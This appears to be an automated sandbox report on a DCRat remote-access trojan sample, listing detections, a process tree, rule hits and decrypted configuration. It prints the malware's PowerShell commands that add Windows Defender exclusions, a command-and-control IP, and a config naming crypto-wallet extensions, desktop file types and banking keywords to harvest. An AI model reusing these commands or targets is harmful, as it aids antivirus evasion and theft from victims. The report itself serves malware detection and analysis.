Edit tour

Windows Analysis Report
fDTPlvsGfH.exe

Overview

General Information

Sample name:	fDTPlvsGfH.exe renamed because original name is a hash value
Original sample name:	B8298EE526BB093E3C96686D26D1361F.exe
Analysis ID:	1428989
MD5:	b8298ee526bb093e3c96686d26d1361f
SHA1:	583ff162c74e864d77323b76355f175aab170e1f
SHA256:	08d8919249b3f442106283b5a413eaff6b6b3d9ca76ec7c3a88101b54bab0fe4
Tags:	DCRatexe
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (creates a PE file in dynamic memory)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected DCRat

.NET source code contains potential unpacker

.NET source code contains very large strings

Adds a directory exclusion to Windows Defender

Drops PE files with benign system names

Drops executable to a common third party application directory

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal browser information (history, passwords, etc)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

fDTPlvsGfH.exe (PID: 6168 cmdline: "C:\Users\user\Desktop\fDTPlvsGfH.exe" MD5: B8298EE526BB093E3C96686D26D1361F)

powershell.exe (PID: 1856 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6044 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7160 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1836 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7152 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\Start Menu\Programs\Accessories\csrss.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7640 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 7396 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\46FAiS0S6O.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7472 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 7540 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

nRlqAJqnLtuwljTOfeVJPERQcpcS.exe (PID: 7744 cmdline: "C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe" MD5: B8298EE526BB093E3C96686D26D1361F)

svchost.exe (PID: 8164 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
fDTPlvsGfH.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1623414051.0000000000062000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: fDTPlvsGfH.exe PID: 6168	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe PID: 7744	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.fDTPlvsGfH.exe.60000.0.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\fDTPlvsGfH.exe, ProcessId: 6168, TargetFilename: C:\Users\Default User\Start Menu\Programs\Accessories\csrss.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\fDTPlvsGfH.exe", ParentImage: C:\Users\user\Desktop\fDTPlvsGfH.exe, ParentProcessId: 6168, ParentProcessName: fDTPlvsGfH.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe', ProcessId: 1856, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\fDTPlvsGfH.exe", ParentImage: C:\Users\user\Desktop\fDTPlvsGfH.exe, ParentProcessId: 6168, ParentProcessName: fDTPlvsGfH.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe', ProcessId: 1856, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8164, ProcessName: svchost.exe

Snort Signatures

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 109.107.182.145

Timestamp:	04/20/24-00:42:09.487448
SID:	2048095
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: fDTPlvsGfH.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\GOHxPPGn.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\AppData\Local\Temp\46FAiS0S6O.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\user\Desktop\DSloixRU.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	ReversingLabs: Detection: 78%
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	ReversingLabs: Detection: 78%
Source: C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	ReversingLabs: Detection: 78%
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\Desktop\KySWwqSG.log	ReversingLabs: Detection: 66%
Source: C:\Users\user\Desktop\qZchTloU.log	ReversingLabs: Detection: 66%
Source: C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe	ReversingLabs: Detection: 78%

Multi AV Scanner detection for submitted file

Source: fDTPlvsGfH.exe

ReversingLabs: Detection: 78%

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\DYQGISGu.log	Joe Sandbox ML: detected
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\csrss.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\AhGYbjHb.log	Joe Sandbox ML: detected
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\ICLFBdCl.log	Joe Sandbox ML: detected
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: fDTPlvsGfH.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: fDTPlvsGfH.exe	String decryptor: {"0":[],"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"All Users","_3":"True"},"8c7d95c1-4def-4a0e-952b-f3c453358f2e":{"_0":"Desktop\|{SYSTEMDRIVE}/Users/{USERNAME}/Desktop/\|.txt;.cs;.lua;.asi;.json;.ini;.word;.xlsx;*.jpg\|1000\|t","_1":"Group name"},"d1159ac1-2243-45e3-9bad-55df4f7732e9":{"_0":"crypto;bank;authorization;account","_1":"1500","_2":"15","_3":"True"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds","_1":""}}
Source: fDTPlvsGfH.exe	String decryptor: ["fexzkGy6q0p5cabyKHmX0UutTLWzT0rof1cIzvz8iKLEdDxO5xG4fc6KuDfYt8m0JAal8T9YRoyqIqQQYI3ftwIC4RYvQaOjhV4cnLPmysm1oQCDwP9kEHGX1Yqr5NI1","e32e8e8116ffca3524c66ea65e2eea691227f6f4e844f9dca8aabb77b799c790","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJeElpd2lJaXdpWlhsSmQwbHFiMmxsTVU1YVZURlNSbFJWVWxOVFZscEdabE01Vm1NeVZubGplVGhwVEVOSmVFbHFiMmxhYlVaell6SlZhVXhEU1hsSmFtOXBaRWhLTVZwVFNYTkphazFwVDJsS01HTnVWbXhKYVhkcFRrTkpOa2x1VW5sa1YxVnBURU5KTVVscWIybGtTRW94V2xOSmMwbHFXV2xQYVVvd1kyNVdiRWxwZDJsT2VVazJTVzVTZVdSWFZXbE1RMGswU1dwdmFXUklTakZhVTBselNXcHJhVTlwU2pCamJsWnNTV2wzYVUxVVFXbFBhVW93WTI1V2JFbHBkMmxOVkVWcFQybEtNR051Vm14SmFYZHBUVlJKYVU5cFNqQmpibFpzU1dsM2FVMVVUV2xQYVVvd1kyNVdiRWxwZDJsTlZGRnBUMmxLTUdOdVZteEpiakE5SWwwPSJd"]

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

Unpacked PE file: 0.2.fDTPlvsGfH.exe.2580000.4.unpack

Source: fDTPlvsGfH.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Directory created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Directory created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\ebcca32ff60686	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Directory created: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Directory created: C:\Program Files\Windows Portable Devices\ebcca32ff60686	Jump to behavior

Source: fDTPlvsGfH.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: eC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: xC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \|C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: gC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ~C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: yC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: }C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: vC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000003796000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: kC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
